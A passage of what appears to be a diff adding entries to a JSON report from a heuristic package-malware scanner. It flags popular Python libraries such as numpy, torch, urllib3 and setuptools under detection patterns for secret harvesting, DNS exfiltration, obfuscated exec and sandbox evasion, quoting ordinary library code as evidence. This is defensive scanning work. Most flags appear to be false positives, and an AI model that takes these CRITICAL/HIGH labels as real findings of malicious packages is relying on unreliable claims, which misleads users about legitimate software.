\"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", + "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/llama_cpp.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/llama_cpp.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926" + }, + { + "package": "urllib3", + "file": "urllib3/response.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"", + "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839" + }, + { + "package": "urllib3", + "file": "urllib3/util/ssl_.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", + "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" + }, + { + "package": "attrs", + "file": "attr/_make.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", + "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" + }, + { + "package": "beartype", + "file": "beartype/_util/func/utilfuncmake.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", + "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" + }, + { + "package": "botocore", + "file": "botocore/vendored/six.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" + }, + { + "package": "cffi", + "file": "cffi/_cffi_gen_src.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L52: compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53: exec(compiled, globs, globs)", + "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9" + }, + { + "package": "cffi", + "file": "cffi/setuptools_ext.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", + "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" + }, + { + "package": "ddgs", + "file": "ddgs/dht/libp2p_client.py", + "check": "DNS exfiltration / tunneling patterns", + "severity": "HIGH", + "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", + "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" + }, + { + "package": "dill", + "file": "dill/_dill.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", + "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" + }, + { + "package": "dill", + "file": "dill/source.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", + "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" + }, + { + "package": "dnspython", + "file": "dns/query.py", + "check": "DNS exfiltration / tunneling patterns", + "severity": "HIGH", + "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", + "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" + }, + { + "package": "fastmcp-slim", + "file": "fastmcp/server/auth/providers/jwt.py", + "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", + "severity": "HIGH", + "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", + "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" + }, + { + "package": "ipython", + "file": "IPython/core/debugger.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", + "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" + }, + { + "package": "ipython", + "file": "IPython/core/debugger_backport.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", + "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" + }, + { + "package": "ipython", + "file": "IPython/core/magics/execution.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" + }, + { + "package": "ipython", + "file": "IPython/core/magics/execution.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" + }, + { + "package": "jinja2", + "file": "jinja2/environment.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", + "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" + }, + { + "package": "matplotlib", + "file": "matplotlib/sphinxext/plot_directive.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", + "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", + "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" + }, + { + "package": "networkx", + "file": "networkx/utils/decorators.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", + "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" + }, + { + "package": "numba", + "file": "numba/np/ufunc/array_exprs.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", + "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" + }, + { + "package": "numba", + "file": "numba/tests/support.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L874: __import__(modname)\nExec: L808: eval(co, globs, ns)", + "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" + }, + { + "package": "numba", + "file": "numba/tests/test_firstlinefinder.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", + "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" + }, + { + "package": "numba", + "file": "numba/tests/test_funcdesc.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", + "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" + }, + { + "package": "numba", + "file": "numba/tests/test_import.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", + "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" + }, + { + "package": "numba", + "file": "numba/tests/test_np_functions.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)", + "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", + "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" + }, + { + "package": "numpy", + "file": "numpy/tests/test_public_api.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", + "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" + }, + { + "package": "pillow", + "file": "PIL/Image.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:", + "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" + }, + { + "package": "protobuf", + "file": "protobuf-3.19.6-nspkg.pth", + "check": "Unusually large executable .pth (539 bytes)", + "severity": "HIGH", + "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", + "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" + }, + { + "package": "pygments", + "file": "pygments/formatters/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" + }, + { + "package": "pygments", + "file": "pygments/lexers/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/torch/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", + "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" + }, + { + "package": "scipy", + "file": "scipy/optimize/_optimize.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", + "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" + }, + { + "package": "setuptools", + "file": "pkg_resources/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", + "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" + }, + { + "package": "setuptools", + "file": "setuptools/_distutils/compilers/C/base.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1287: __import__(module_name)\nExec: L1114: if lib_type not in eval(expected):", + "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" + }, + { + "package": "setuptools", + "file": "setuptools/launch.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", + "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" + }, + { + "package": "setuptools", + "file": "setuptools/tests/config/test_pyprojecttoml.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L387: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", + "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" + }, + { + "package": "setuptools", + "file": "setuptools/tests/test_editable_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447: exec(finder, loc, loc)", + "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" + }, + { + "package": "setuptools", + "file": "setuptools/wheel.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", + "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" + }, + { + "package": "six", + "file": "six.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" + }, + { + "package": "sympy", + "file": "sympy/external/importtools.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", + "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" + }, + { + "package": "sympy", + "file": "sympy/plotting/experimental_lambdify.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", + "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" + }, + { + "package": "sympy", + "file": "sympy/utilities/lambdify.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", + "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" + }, + { + "package": "tensorboard", + "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", + "check": "Python wheel ships large JS bundle (uncommon; manually review)", + "severity": "HIGH", + "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", + "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" + }, + { + "package": "torch", + "file": "torch/_dynamo/bytecode_debugger.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L1052: self._old_trace = sys.gettrace() | L1053: sys.settrace(self._settrace_callback) | L1113: sys.settrace(self._old_trace)\nExec: L684: result = eval(arg, frame_globals, eval_locals) | L709: result = eval(cmd, frame_globals, eval_locals) | L717: exec(cmd, frame_globals, eval_locals)", + "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" + }, + { + "package": "torch", + "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", + "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" + }, + { + "package": "torch", + "file": "torch/fx/experimental/rewriter.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L44: code = compile(dest_ast, \"\", \"exec\")\nExec: L47: exec(code, globals_dict)", + "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" + }, + { + "package": "torch", + "file": "torch/fx/graph_module.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", + "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" + }, + { + "package": "torch", + "file": "torch/package/package_importer.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L599: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", + "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" + }, + { + "package": "triton", + "file": "triton/runtime/interpreter.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", + "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_compiler_dynamic_exec.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", + "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_fused_forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", + "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_trainer_internals.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1158: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136: def eval(self):", + "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", + "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/compiler.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = 